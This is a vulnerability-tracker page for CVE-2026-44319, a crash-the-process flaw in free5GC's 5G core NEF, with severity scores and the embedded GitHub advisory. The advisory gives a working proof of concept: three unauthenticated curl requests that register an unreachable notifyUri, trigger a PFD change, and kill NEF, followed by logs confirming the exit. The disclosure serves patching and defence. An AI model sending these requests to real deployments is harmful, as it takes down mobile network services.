CVE-2026-44319

highpriority · track · 0EPSS 0.004 · 35 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.40% (35th) EPSS
CVSS 7.5 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-28

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This vulnerability is fixed in 4.2.2.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-rxrq-fv76-26prfree5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)2026-05-08ghsa · osvUS

    ### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

  • GO-2026-5647free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri) in github.com/free5gc/nef2026-06-25vendor · osvUS

    free5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri) in github.com/free5gc/nef

06

also known as (5)

Other names and identifiers for this entity.

07

sources

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published 2026-05-27modified 2026-06-17
08

references (14)

External citations — patches, advisories, analysis.

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